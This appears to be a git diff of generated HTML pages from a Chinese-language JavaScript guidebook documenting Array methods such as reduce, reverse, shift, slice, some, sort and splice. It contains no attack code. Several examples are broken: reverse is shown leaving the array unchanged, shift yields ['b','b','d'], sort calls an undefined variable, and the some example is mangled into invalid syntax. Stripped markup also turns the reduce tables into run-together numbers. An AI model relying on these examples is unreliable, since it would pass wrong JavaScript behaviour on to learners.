                                                                                                                              • 如果数组为空且没有提供 initialValue,会抛出 TypeError
                                                                                                                              • 如果数组仅有一个元素(无论位置如何)并且没有提供 initialValue, 或者有提供 initialValue 但是数组为空,那么此唯一值将被返回并且 callback 不会被执行。

                                                                                                                            假如运行下段代码:

                                                                                                                            [0, 1, 2, 3, 4].reduce((acc, val, index, arr) => acc + val);

                                                                                                                            回调函数被调用四次,每次调用的参数和返回值如下表所示。

                                                                                                                            callback 回调函数acc 累加器val 当前值index 当前索引arr返回值
                                                                                                                            first call011[0, 1, 2, 3, 4]1
                                                                                                                            second call122[0, 1, 2, 3, 4]3
                                                                                                                            third call333[0, 1, 2, 3, 4]6
                                                                                                                            fourth call644[0, 1, 2, 3, 4]10

                                                                                                                            reduce() 方法最终的返回值为 10。

                                                                                                                            如果你打算提供一个初始值作为 reduce 方法的第二个参数,以下是运行过程及结果。

                                                                                                                            [0, 1, 2, 3, 4].reduce((acc, val, index, arr) => accumulator + currentValue, 10);
                                                                                                                            callback 回调函数acc 累加器val 当前值index 当前索引arr返回值
                                                                                                                            first call1000[0, 1, 2, 3, 4]10
                                                                                                                            second call1011[0, 1, 2, 3, 4]11
                                                                                                                            third call1122[0, 1, 2, 3, 4]13
                                                                                                                            fourth call1333[0, 1, 2, 3, 4]16
                                                                                                                            fifth call1644[0, 1, 2, 3, 4]20

                                                                                                                            reduce() 方法最终的返回值为 20。

                                                                                                                            代码示例

                                                                                                                            • 将数组转为对象
                                                                                                                            • 展开更大的数组
                                                                                                                            • 在一次遍历中进行两次计算
                                                                                                                            • 将映射和过滤函数组合
                                                                                                                            • 按顺序运行异步函数

                                                                                                                            聚合为数字

                                                                                                                            数组成员为数字类型时。

                                                                                                                            const res = [1, 2, 3, 4, 5].reduce((acc, item) => acc + item, 0);
                                                                                                                            console.log(res);
                                                                                                                            // 15

                                                                                                                            数组成员为对象类型时。

                                                                                                                            const arr = [{ total: 1 }, { total: 2 }, { total: 3 }, { total: 4 }, { total: 5 }];
                                                                                                                            const res = arr.reduce((acc, { total }) => acc + total, 0);
                                                                                                                            console.log(res);
                                                                                                                            // 15

                                                                                                                            聚合为字符串

                                                                                                                            将数组的每项转换为固定格式的字符串,每项直接以分号作为分隔。

                                                                                                                            const arr = [
                                                                                                                            { key: 'foo', value: 1 },
                                                                                                                            { key: 'bar', value: 2 },
                                                                                                                            { key: 'baz', value: 3 },
                                                                                                                            ];
                                                                                                                            @@ -62,12 +65,12 @@
                                                                                                                            accumulator = obj[index++];
                                                                                                                            }
                                                                                                                            // 走有累加器的那种实现
                                                                                                                            while (index < len) {
                                                                                                                            if (index in obj) {
                                                                                                                            accumulator = callback(accumulator, obj[index], index, obj);
                                                                                                                            }
                                                                                                                            index++;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            return accumulator;
                                                                                                                            },
                                                                                                                            });
                                                                                                                            }

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            return accumulator;
                                                                                                                            },
                                                                                                                            });
                                                                                                                            }

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/reverse/index.html b/standard-built-in-objects/indexed-collections/array/reverse/index.html index 5b4d66752..65480df60 100644 --- a/standard-built-in-objects/indexed-collections/array/reverse/index.html +++ b/standard-built-in-objects/indexed-collections/array/reverse/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.reverse - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.reverse()

                                                                                                                            Array.prototype.reverse() 方法用于将当前数组的成员顺序全部反转,并返回元素顺序反转后的数组。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.reverse();

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            reverse(): T[];
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回数组成员反转后的数组,

                                                                                                                            • reverse() 函数将一个当前数组对象中的元素按所在位置进行反转。在执行过程中,此函数并不创建新的 Array 对象,直接在当前对象上进行反转。返回的数组对象就是经过顺序反转后的当前对象。
                                                                                                                            • 如果数组是不连续的,reverse() 函数将在数组中创建元素,这些元素将填充数组中的间隙。所创建的这些元素的值全部未定义。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const foo = ['a', 'b', 'c'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.reverse()

                                                                                                                            Array.prototype.reverse() 方法用于将当前数组的成员顺序全部反转,并返回元素顺序反转后的数组。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.reverse();

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            reverse(): T[];
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回数组成员反转后的数组,

                                                                                                                            • reverse() 函数将一个当前数组对象中的元素按所在位置进行反转。在执行过程中,此函数并不创建新的 Array 对象,直接在当前对象上进行反转。返回的数组对象就是经过顺序反转后的当前对象。
                                                                                                                            • 如果数组是不连续的,reverse() 函数将在数组中创建元素,这些元素将填充数组中的间隙。所创建的这些元素的值全部未定义。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const foo = ['a', 'b', 'c'];
                                                                                                                            foo.reverse();
                                                                                                                            console.log(foo);
                                                                                                                            // ['a', 'b', 'c']

                                                                                                                            空数组

                                                                                                                            const foo = [].reverse();
                                                                                                                            -
                                                                                                                            console.log(foo);

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(foo);

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/shift/index.html b/standard-built-in-objects/indexed-collections/array/shift/index.html index 00731ed8b..5032e2473 100644 --- a/standard-built-in-objects/indexed-collections/array/shift/index.html +++ b/standard-built-in-objects/indexed-collections/array/shift/index.html @@ -7,38 +7,41 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.shift - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.shift()

                                                                                                                            Array.prototype.shift() 方法用于移除数组第一个成员,并返回移除的元素。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.shift();

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            shift(): T | undefined;
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回被移除的数组成员。如果该数组为空(没有任何元素),则返回 undefined

                                                                                                                            方法说明

                                                                                                                            由于本函数会移除数组中的第一个元素,数组的 length 属性也会随之改变(如果数组中有元素的话),一般而言,数组的 length 属性将会减 1。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            let foo = ['a', 'b', 'c', 'd'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.shift()

                                                                                                                            Array.prototype.shift() 方法用于移除数组第一个成员,并返回移除的元素。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.shift();

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            shift(): T | undefined;
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回被移除的数组成员。如果该数组为空(没有任何元素),则返回 undefined

                                                                                                                            方法说明

                                                                                                                            由于本函数会移除数组中的第一个元素,数组的 length 属性也会随之改变(如果数组中有元素的话),一般而言,数组的 length 属性将会减 1。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            let foo = ['a', 'b', 'c', 'd'];
                                                                                                                            let bar = foo.shift();
                                                                                                                            console.log(foo);
                                                                                                                            // ['b', 'b', 'd']
                                                                                                                            console.log(bar);
                                                                                                                            // 'a'

                                                                                                                            空数组调用

                                                                                                                            let foo = [];
                                                                                                                            let bar = foo.shift();
                                                                                                                            -
                                                                                                                            console.log(bar);
                                                                                                                            // undefined

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(bar);
                                                                                                                            // undefined

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/slice/index.html b/standard-built-in-objects/indexed-collections/array/slice/index.html index a2f689541..78a5e9ab7 100644 --- a/standard-built-in-objects/indexed-collections/array/slice/index.html +++ b/standard-built-in-objects/indexed-collections/array/slice/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.slice - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.slice()

                                                                                                                            Array.prototype.slice() 方法用于浅拷贝指定区间的数组成员。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.slice( start [, end ] );

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            slice(start?: number, end?: number): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            start浅拷贝区间的开始索引number
                                                                                                                            end浅拷贝区间的结束索引,浅拷贝不包括该索引所得值number

                                                                                                                            返回值:

                                                                                                                            返回一个含有提取元素的新数组。

                                                                                                                            方法说明

                                                                                                                            slice 方法不修改原数组,只会返回浅拷贝原数组的新数组。

                                                                                                                            原数组的元素会按照下述规则拷贝:

                                                                                                                            • 如果该元素是个对象引用 (不是实际的对象),slice 会拷贝这个对象引用到新的数组里。两个对象引用都引用了同一个对象。如果被引用的对象发生改变,则新的和原来的数组中的这个元素也会发生改变。
                                                                                                                            • 对于字符串、数字及布尔值来说,slice 会拷贝这些值到新的数组里。在别的数组里修改这些字符串或数字或是布尔值,将不会影响另一个数组。 如果向两个数组任一中添加了新元素,则另一个不会受到影响。

                                                                                                                            slice() 方法涉及到 Number() 转型函数的隐式类型转换,当 start 被转换为 NaN 时,相当于 start 为 0;当 end 被转换为 NaN 时(endundefined 除外),则输出空数组。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = [1, 2, 3, 4, 5];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.slice()

                                                                                                                            Array.prototype.slice() 方法用于浅拷贝指定区间的数组成员。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.slice( start [, end ] );

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            slice(start?: number, end?: number): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            start浅拷贝区间的开始索引number
                                                                                                                            end浅拷贝区间的结束索引,浅拷贝不包括该索引所得值number

                                                                                                                            返回值:

                                                                                                                            返回一个含有提取元素的新数组。

                                                                                                                            方法说明

                                                                                                                            slice 方法不修改原数组,只会返回浅拷贝原数组的新数组。

                                                                                                                            原数组的元素会按照下述规则拷贝:

                                                                                                                            • 如果该元素是个对象引用 (不是实际的对象),slice 会拷贝这个对象引用到新的数组里。两个对象引用都引用了同一个对象。如果被引用的对象发生改变,则新的和原来的数组中的这个元素也会发生改变。
                                                                                                                            • 对于字符串、数字及布尔值来说,slice 会拷贝这些值到新的数组里。在别的数组里修改这些字符串或数字或是布尔值,将不会影响另一个数组。 如果向两个数组任一中添加了新元素,则另一个不会受到影响。

                                                                                                                            slice() 方法涉及到 Number() 转型函数的隐式类型转换,当 start 被转换为 NaN 时,相当于 start 为 0;当 end 被转换为 NaN 时(endundefined 除外),则输出空数组。

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = [1, 2, 3, 4, 5];
                                                                                                                            arr.slice(1);
                                                                                                                            // [2, 3, 4, 5]
                                                                                                                            arr.slice(0, 2);
                                                                                                                            // [1, 2]
                                                                                                                            arr.slice(1, 2);
                                                                                                                            // [2]
                                                                                                                            @@ -41,12 +44,12 @@
                                                                                                                            // fruits contains ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']
                                                                                                                            // citrus contains ['Orange','Lemon']

                                                                                                                            类数组对象

                                                                                                                            slice 方法可以用来将一个类数组对象转换成一个真正的数组。你只需将该方法绑定到这个对象上。

                                                                                                                            function list() {
                                                                                                                            return Array.prototype.slice.call(arguments);
                                                                                                                            }
                                                                                                                            const arr = list(1, 2, 3);
                                                                                                                            // [1, 2, 3]

                                                                                                                            除了使用 Array.prototype.slice.call(arguments),你也可以简单的使用 [].slice.call(arguments) 来代替。另外,你可以使用 bind 来简化该过程。

                                                                                                                            const unboundSlice = Array.prototype.slice;
                                                                                                                            const slice = Function.prototype.call.bind(unboundSlice);
                                                                                                                            function list() {
                                                                                                                            return slice(arguments);
                                                                                                                            }
                                                                                                                            -
                                                                                                                            const arr = list(1, 2, 3);
                                                                                                                            // [1, 2, 3]

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            const arr = list(1, 2, 3);
                                                                                                                            // [1, 2, 3]

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/some/index.html b/standard-built-in-objects/indexed-collections/array/some/index.html index e77792aee..28383d07a 100644 --- a/standard-built-in-objects/indexed-collections/array/some/index.html +++ b/standard-built-in-objects/indexed-collections/array/some/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.some - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.some()

                                                                                                                            Array.prototype.some() 方法用于判定数组中是否存在一个成员符合判定函数判定条件。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.some( callback [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            some(
                                                                                                                            predicate: (value: T, index: number, array: readonly T[]) => unknown,
                                                                                                                            thisArg?: any
                                                                                                                            ): boolean;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            方法说明

                                                                                                                            • 执行该方法会为数组每个成员执行一次回调函数,回调函数需要通过判断代码块后,返回布尔值作为该成员是否通过检测的凭证。当执行回调函数时遇到第一个判定为 true 的,则立即跳出迭代,返回 true,否则,全部数组成员都执行一次回调函数,没有数组成员通过判定,则返回 false
                                                                                                                            • 回调函数只会为那些已经被赋值的索引调用,不会为那些被删除或从来没有被赋值的索引调用。
                                                                                                                            • 如果为实例方法提供一个 thisArg 参数,则该参数为调用回调函数时的 this 值。如果省略该参数,则为回调函数被调用时的 this 值,在非严格模式下为全局对象,在严格模式下传入 undefined
                                                                                                                            • 遍历的数组成员范围在第一次调用回调函数之前就已确定了。在调用 some() 之后添加到数组中的成员不会被回调函数访问到。如果数组中存在的成员被更改,则他们传入回调函数的值是 some() 访问到他们那一刻的值。那些被删除的成员或未被赋值的成员将不会被访问到。

                                                                                                                            代码示例

                                                                                                                            function isBigEnough(element, index, array) {
                                                                                                                            return element >= 10;
                                                                                                                            }
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.some()

                                                                                                                            Array.prototype.some() 方法用于判定数组中是否存在一个成员符合判定函数判定条件。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.some( callback [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            some(
                                                                                                                            predicate: (value: T, index: number, array: readonly T[]) => unknown,
                                                                                                                            thisArg?: any
                                                                                                                            ): boolean;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            callback用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            方法说明

                                                                                                                            • 执行该方法会为数组每个成员执行一次回调函数,回调函数需要通过判断代码块后,返回布尔值作为该成员是否通过检测的凭证。当执行回调函数时遇到第一个判定为 true 的,则立即跳出迭代,返回 true,否则,全部数组成员都执行一次回调函数,没有数组成员通过判定,则返回 false
                                                                                                                            • 回调函数只会为那些已经被赋值的索引调用,不会为那些被删除或从来没有被赋值的索引调用。
                                                                                                                            • 如果为实例方法提供一个 thisArg 参数,则该参数为调用回调函数时的 this 值。如果省略该参数,则为回调函数被调用时的 this 值,在非严格模式下为全局对象,在严格模式下传入 undefined
                                                                                                                            • 遍历的数组成员范围在第一次调用回调函数之前就已确定了。在调用 some() 之后添加到数组中的成员不会被回调函数访问到。如果数组中存在的成员被更改,则他们传入回调函数的值是 some() 访问到他们那一刻的值。那些被删除的成员或未被赋值的成员将不会被访问到。

                                                                                                                            代码示例

                                                                                                                            function isBigEnough(element, index, array) {
                                                                                                                            return element >= 10;
                                                                                                                            }
                                                                                                                            [2, 5, 8, 1, 4].some(isBigEnough)[
                                                                                                                            // false
                                                                                                                            -
                                                                                                                            (12, 5, 8, 1, 4)
                                                                                                                            ].some(isBigEnough);
                                                                                                                            // true

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            (12, 5, 8, 1, 4)
                                                                                                                            ].some(isBigEnough);
                                                                                                                            // true

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/sort/index.html b/standard-built-in-objects/indexed-collections/array/sort/index.html index 3d351adf1..2272cc7fd 100644 --- a/standard-built-in-objects/indexed-collections/array/sort/index.html +++ b/standard-built-in-objects/indexed-collections/array/sort/index.html @@ -7,28 +7,31 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.sort - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.sort()

                                                                                                                            Array.prototype.sort() 方法用于将数组对象的成员按指定顺序进行排序,并返回排序后的数组。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.sort(compareFn);

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            sort(compareFn?: (a: T, b: T) => number): this;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            compareFn(可选)指定如何比较元素顺序的函数名称function

                                                                                                                            返回值:

                                                                                                                            返回排序后的数组对象。

                                                                                                                            在排序过程中,并不会创建新的数组对象,返回的数组对象就是经过排序后的当前数组本身。

                                                                                                                            方法说明

                                                                                                                            如果省略 compareFn 参数,元素将按 ASCII 字符顺序的升序进行排列。ASCII 字符表

                                                                                                                            如果提供了 compareFn 参数,那么该函数必须返回下列值之一:

                                                                                                                            • 如果所传递的第一个参数小于第二个参数,则返回负值。
                                                                                                                            • 如果两个参数相等,则返回零。
                                                                                                                            • 如果第一个参数大于第二个参数,则返回正值。

                                                                                                                            比较函数格式如下:

                                                                                                                            function compare(a, b) {
                                                                                                                            if (a is less than b by some ordering criterion) {
                                                                                                                            return -1;
                                                                                                                            }
                                                                                                                            if (a is greater than b by the ordering criterion) {
                                                                                                                            return 1;
                                                                                                                            }
                                                                                                                            return 0;
                                                                                                                            }

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const foo = ['b', 'c', 'a'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.sort()

                                                                                                                            Array.prototype.sort() 方法用于将数组对象的成员按指定顺序进行排序,并返回排序后的数组。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.sort(compareFn);

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            sort(compareFn?: (a: T, b: T) => number): this;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            compareFn(可选)指定如何比较元素顺序的函数名称function

                                                                                                                            返回值:

                                                                                                                            返回排序后的数组对象。

                                                                                                                            在排序过程中,并不会创建新的数组对象,返回的数组对象就是经过排序后的当前数组本身。

                                                                                                                            方法说明

                                                                                                                            如果省略 compareFn 参数,元素将按 ASCII 字符顺序的升序进行排列。ASCII 字符表

                                                                                                                            如果提供了 compareFn 参数,那么该函数必须返回下列值之一:

                                                                                                                            • 如果所传递的第一个参数小于第二个参数,则返回负值。
                                                                                                                            • 如果两个参数相等,则返回零。
                                                                                                                            • 如果第一个参数大于第二个参数,则返回正值。

                                                                                                                            比较函数格式如下:

                                                                                                                            function compare(a, b) {
                                                                                                                            if (a is less than b by some ordering criterion) {
                                                                                                                            return -1;
                                                                                                                            }
                                                                                                                            if (a is greater than b by the ordering criterion) {
                                                                                                                            return 1;
                                                                                                                            }
                                                                                                                            return 0;
                                                                                                                            }

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const foo = ['b', 'c', 'a'];
                                                                                                                            fruit.sort();
                                                                                                                            // ['a', 'b', 'c']
                                                                                                                            const bar = [1, 10, 21, 2];
                                                                                                                            bar.sort();
                                                                                                                            // [1, 10, 2, 21]

                                                                                                                            注意 10 在 2 之前,因为在 Unicode 指针顺序中 "10""2" 之前。

                                                                                                                            const baz = ['word', 'Word', '1 Word', '2 Words'];
                                                                                                                            baz.sort();
                                                                                                                            // ['1 Word', '2 Words', 'Word', 'word']

                                                                                                                            在 Unicode 中,数字在大写字母之前,大写字母在小写字母之前。

                                                                                                                            数字排序

                                                                                                                            希望比较数字而非字符串,比较函数可以简单的以 ab,如下的函数将会将数组升序排列。

                                                                                                                            const compareNumbers = (a, b) => a - b;

                                                                                                                            sort() 方法可以使用函数表达式方便地书写。

                                                                                                                            const foo = [4, 2, 5, 1, 3];
                                                                                                                            @@ -46,12 +49,12 @@
                                                                                                                            console.log(item);
                                                                                                                            // ['adieu', 'café', 'cliché', 'communiqué', 'premier', 'réservé']

                                                                                                                            使用映射改善排序

                                                                                                                            compareFunction 可能需要对元素做多次映射以实现排序,尤其当 compareFunction 较为复杂,且元素较多的时候,某些 compareFunction 可能会导致很高的负载。使用 map() 辅助排序将会是一个好主意。基本思想是首先将数组中的每个元素比较的实际值取出来,排序后再将数组恢复。

                                                                                                                            // 需要被排序的数组
                                                                                                                            let list = ['Delta', 'alpha', 'CHARLIE', 'bravo'];
                                                                                                                            // 对需要排序的数字和位置的临时存储
                                                                                                                            let mapped = list.map(function (el, i) {
                                                                                                                            return { index: i, value: el.toLowerCase() };
                                                                                                                            });
                                                                                                                            // 按照多个值排序数组
                                                                                                                            mapped.sort(function (a, b) {
                                                                                                                            return +(a.value > b.value) || +(a.value === b.value) - 1;
                                                                                                                            });
                                                                                                                            -
                                                                                                                            // 根据索引得到排序的结果
                                                                                                                            let result = mapped.map(function (el) {
                                                                                                                            return list[el.index];
                                                                                                                            });

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            // 根据索引得到排序的结果
                                                                                                                            let result = mapped.map(function (el) {
                                                                                                                            return list[el.index];
                                                                                                                            });

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/splice/index.html b/standard-built-in-objects/indexed-collections/array/splice/index.html index fc1fe6bff..16270f6d9 100644 --- a/standard-built-in-objects/indexed-collections/array/splice/index.html +++ b/standard-built-in-objects/indexed-collections/array/splice/index.html @@ -7,29 +7,32 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.splice - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.splice()

                                                                                                                            Array.prototype.splice() 方法用于从当前数组中移除一部分连续的元素。如有必要,还可以在所移除元素的位置上插入一个或多个新的元素。该函数以数组形式返回从当前数组中被移除的元素。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.splice( start, deleteCount [,items... ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            splice(start: number, deleteCount?: number): T[];
                                                                                                                            -
                                                                                                                            splice(start: number, deleteCount: number, ...items: T[]): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            start数组中移除元素操作的起点索引,从 0 开始。number
                                                                                                                            deleteCount(可选)需要移除的元素个数。number
                                                                                                                            items要添加到数组中元素被移除位置的新元素,可以有多个。any

                                                                                                                            返回值:

                                                                                                                            返回从当前数组中被移除的元素所组成的新的数组。

                                                                                                                            如果只删除了一个元素,则返回只包含一个元素的数组。如果没有删除元素,则返回空数组。

                                                                                                                            当移除数组中的元素时,数组的 length 属性也会随之改变。一般而言,数组的 length 属性将会减 N(N 为实际移除的元素个数)。

                                                                                                                            方法说明

                                                                                                                            如果添加进数组的元素个数不等于被删除的元素个数,数组的长度会发生相应的改变。

                                                                                                                            注意:请注意,splice()方法与 slice() 方法的作用是不同的,splice() 方法会直接对数组进行修改。

                                                                                                                            • start 开始索引
                                                                                                                              • 如果 start 是负值,则视为从 arr.length + start 位开始
                                                                                                                              • 如果 start 超出了数组长度,则返回空数组
                                                                                                                              • 如果只是用 start 参数而不使用 deleteCountitems,表示删除所有元素,返回空数组
                                                                                                                            • deleteCount 删除数组元素数量
                                                                                                                              • 如果 deleteCount 为 0 或负数,则不会移除任何元素,并返回一个空数组
                                                                                                                              • 如果 deleteCount 被省略,则其相当于删除从开始索引到数组末尾的元素
                                                                                                                            • items 填补的数组元素
                                                                                                                              • 如果 items 参数为 Array 类型,仍会被当作一个元素看待,插入到当前数组中
                                                                                                                              • 如果不指定 items 参数,则 splice() 将只删除数组元素

                                                                                                                            代码示例

                                                                                                                            在索引为 2 的位置插入 e

                                                                                                                            const foo = ['a', 'b', 'c', 'd'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.splice()

                                                                                                                            Array.prototype.splice() 方法用于从当前数组中移除一部分连续的元素。如有必要,还可以在所移除元素的位置上插入一个或多个新的元素。该函数以数组形式返回从当前数组中被移除的元素。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.splice( start, deleteCount [,items... ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            splice(start: number, deleteCount?: number): T[];
                                                                                                                            +
                                                                                                                            splice(start: number, deleteCount: number, ...items: T[]): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            start数组中移除元素操作的起点索引,从 0 开始。number
                                                                                                                            deleteCount(可选)需要移除的元素个数。number
                                                                                                                            items要添加到数组中元素被移除位置的新元素,可以有多个。any

                                                                                                                            返回值:

                                                                                                                            返回从当前数组中被移除的元素所组成的新的数组。

                                                                                                                            如果只删除了一个元素,则返回只包含一个元素的数组。如果没有删除元素,则返回空数组。

                                                                                                                            当移除数组中的元素时,数组的 length 属性也会随之改变。一般而言,数组的 length 属性将会减 N(N 为实际移除的元素个数)。

                                                                                                                            方法说明

                                                                                                                            如果添加进数组的元素个数不等于被删除的元素个数,数组的长度会发生相应的改变。

                                                                                                                            注意:请注意,splice()方法与 slice() 方法的作用是不同的,splice() 方法会直接对数组进行修改。

                                                                                                                            • start 开始索引
                                                                                                                              • 如果 start 是负值,则视为从 arr.length + start 位开始
                                                                                                                              • 如果 start 超出了数组长度,则返回空数组
                                                                                                                              • 如果只是用 start 参数而不使用 deleteCountitems,表示删除所有元素,返回空数组
                                                                                                                            • deleteCount 删除数组元素数量
                                                                                                                              • 如果 deleteCount 为 0 或负数,则不会移除任何元素,并返回一个空数组
                                                                                                                              • 如果 deleteCount 被省略,则其相当于删除从开始索引到数组末尾的元素
                                                                                                                            • items 填补的数组元素
                                                                                                                              • 如果 items 参数为 Array 类型,仍会被当作一个元素看待,插入到当前数组中
                                                                                                                              • 如果不指定 items 参数,则 splice() 将只删除数组元素

                                                                                                                            代码示例

                                                                                                                            在索引为 2 的位置插入 e

                                                                                                                            const foo = ['a', 'b', 'c', 'd'];
                                                                                                                            foo.splice(2, 0, 'e');
                                                                                                                            console.log(foo);
                                                                                                                            // ["a", "b", "e", "c", "d"]

                                                                                                                            从索引为 2 的位置删除一项(也就是 e 这一项)。

                                                                                                                            foo.splice(2, 1);
                                                                                                                            console.log(foo);
                                                                                                                            // ["a", "b", "c", "d"]
                                                                                                                            var foo = ['a', 'b', 'c', 'd'];
                                                                                                                            @@ -38,12 +41,12 @@
                                                                                                                            // 从第 2 位开始删除 1 个元素,然后插入 "f"
                                                                                                                            removed = foo.splice(2, 1, 'f');
                                                                                                                            // 运算后的 foo: ["a", "b", "f", "d"]
                                                                                                                            // 被删除元素数组:["e"]
                                                                                                                            // 从第 0 位开始删除 2 个元素,然后插入 "x", "y" 和 "z"
                                                                                                                            removed = foo.splice(0, 2, 'x', 'y', 'z');
                                                                                                                            // 运算后的 foo:["x", "y", "z", "f", "d"]
                                                                                                                            // 被删除元素的数组:["a", "b"]
                                                                                                                            // 从第 3 位开始删除 2 个元素
                                                                                                                            removed = foo.splice(3, Number.MAX_VALUE);
                                                                                                                            // 运算后的 foo: ["x", "y", "z"]
                                                                                                                            // 被删除元素的数组:["f", "d"]
                                                                                                                            -
                                                                                                                            // 从第1位开始删除其后所有即[1,end]的元素
                                                                                                                            removed = foo.splice(1);
                                                                                                                            // 运算后的 foo: ["x"]
